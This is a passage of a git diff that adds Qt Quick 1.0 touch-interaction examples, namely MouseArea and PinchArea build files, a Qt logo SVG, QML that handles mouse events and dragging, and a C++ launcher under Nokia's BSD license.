+ }
+ ImageFiles {
+ directory: "qml/mousearea-example"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.png b/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.png
Binary files differ
diff --git a/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.pro b/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.pro
new file mode 100644
index 00000000..f80d99ae
--- /dev/null
+++ b/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/mousearea-example
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xECA7EEBE
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/touchinteraction/mousearea/mousearea-example
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.svg b/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/touchinteraction/mousearea/mousearea-example/qml/mousearea-example/mousearea-example.qml b/examples/declarative/touchinteraction/mousearea/mousearea-example/qml/mousearea-example/mousearea-example.qml
new file mode 100644
index 00000000..9f787b79
--- /dev/null
+++ b/examples/declarative/touchinteraction/mousearea/mousearea-example/qml/mousearea-example/mousearea-example.qml
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: box
+ width: 350; height: 250
+
+ Rectangle {
+ id: redSquare
+ width: 80; height: 80
+ anchors.top: parent.top; anchors.left: parent.left; anchors.margins: 10
+ color: "red"
+
+ Text { text: "Click"; font.pixelSize: 16; anchors.centerIn: parent }
+
+ MouseArea {
+ anchors.fill: parent
+ hoverEnabled: true
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+
+ onEntered: info.text = 'Entered'
+ onExited: info.text = 'Exited (pressed=' + pressed + ')'
+
+ onPressed: {
+ info.text = 'Pressed (button=' + (mouse.button == Qt.RightButton ? 'right' : 'left')
+ + ' shift=' + (mouse.modifiers & Qt.ShiftModifier ? 'true' : 'false') + ')'
+ var posInBox = redSquare.mapToItem(box, mouse.x, mouse.y)
+ posInfo.text = + mouse.x + ',' + mouse.y + ' in square'
+ + ' (' + posInBox.x + ',' + posInBox.y + ' in window)'
+ }
+
+ onReleased: {
+ info.text = 'Released (isClick=' + mouse.isClick + ' wasHeld=' + mouse.wasHeld + ')'
+ posInfo.text = ''
+ }
+
+ onPressAndHold: info.text = 'Press and hold'
+ onClicked: info.text = 'Clicked (wasHeld=' + mouse.wasHeld + ')'
+ onDoubleClicked: info.text = 'Double clicked'
+ }
+ }
+
+ Rectangle {
+ id: blueSquare
+ width: 80; height: 80
+ x: box.width - width - 10; y: 10 // making this item draggable, so don't use anchors
+ color: "blue"
+
+ Text { text: "Drag"; font.pixelSize: 16; color: "white"; anchors.centerIn: parent }
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: blueSquare
+ drag.axis: Drag.XandYAxis
+ drag.minimumX: 0
+ drag.maximumX: box.width - parent.width
+ drag.minimumY: 0
+ drag.maximumY: box.height - parent.width
+ }
+ }
+
+ Text {
+ id: info
+ anchors.bottom: posInfo.top; anchors.horizontalCenter: parent.horizontalCenter; anchors.margins: 30
+
+ onTextChanged: console.log(text)
+ }
+
+ Text {
+ id: posInfo
+ anchors.bottom: parent.bottom; anchors.horizontalCenter: parent.horizontalCenter; anchors.margins: 30
+ }
+}
diff --git a/examples/declarative/touchinteraction/pincharea/main.cpp b/examples/declarative/touchinteraction/pincharea/main.cpp
new file mode 100644
index 00000000..676c6b35
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/pincharea/flickresize.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/touchinteraction/pincharea/pincharea.pro b/examples/declarative/touchinteraction/pincharea/pincharea.pro
new file mode 100644
index 00000000..0d119e7f
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/pincharea.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/pincharea
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE0536E6B
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/touchinteraction/pincharea
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/touchinteraction/pincharea/pincharea.qmlproject b/examples/declarative/touchinteraction/pincharea/pincharea.qmlproject
new file mode 100644
index 00000000..cb538b54
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/pincharea.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/pincharea"
+ }
+ JavaScriptFiles {
+ directory: "qml/pincharea"
+ }
+ ImageFiles {
+ directory: "qml/pincharea"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/touchinteraction/pincharea/pincharea.svg b/examples/declarative/touchinteraction/pincharea/pincharea.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/pincharea.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/touchinteraction/pincharea/pincharea64.png b/examples/declarative/touchinteraction/pincharea/pincharea64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/pincharea64.png
Binary files differ
diff --git a/examples/declarative/touchinteraction/pincharea/pincharea80.png b/examples/declarative/touchinteraction/pincharea/pincharea80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/pincharea80.png
Binary files differ
diff --git a/examples/declarative/touchinteraction/pincharea/qml/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/qml/pincharea/flickresize.qml
new file mode 100644
index 00000000..101c50e4
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/qml/pincharea/flickresize.qml
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
